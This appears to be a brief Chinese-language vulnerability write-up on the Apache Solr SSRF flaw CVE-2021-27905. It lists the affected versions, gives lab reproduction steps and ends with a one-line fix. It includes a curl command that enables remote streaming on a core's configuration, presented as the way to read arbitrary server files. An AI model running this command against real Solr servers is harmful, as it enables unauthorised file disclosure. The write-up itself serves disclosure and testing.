Apache Solr SSRF 漏洞(CVE-2021-27905)

CDxiaodong

Apache Solr SSRF 漏洞(CVE-2021-27905)影响范围

Apache Solr <= 8.8.1（全版本）

打开网页

​

​

点击左侧的Core Admin来创建一个Core，可以发现报错​

通过http://http://192.168.1.192:36299/solr/admin/cores?indexInfo=false&wt=json可以看到core的名字

在本机输入下列指令即可读取任意文件

curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.1.192:36299//solr/new_core/config -H 'Content-type:application/json'

​

该漏洞是由于没有对输入的内容进行校验，攻击者可利用该漏洞在未授权的情况下，构造恶意数据执行SSRF攻击，最终造成任意读取服务器上的文件。

修复

更新版本

​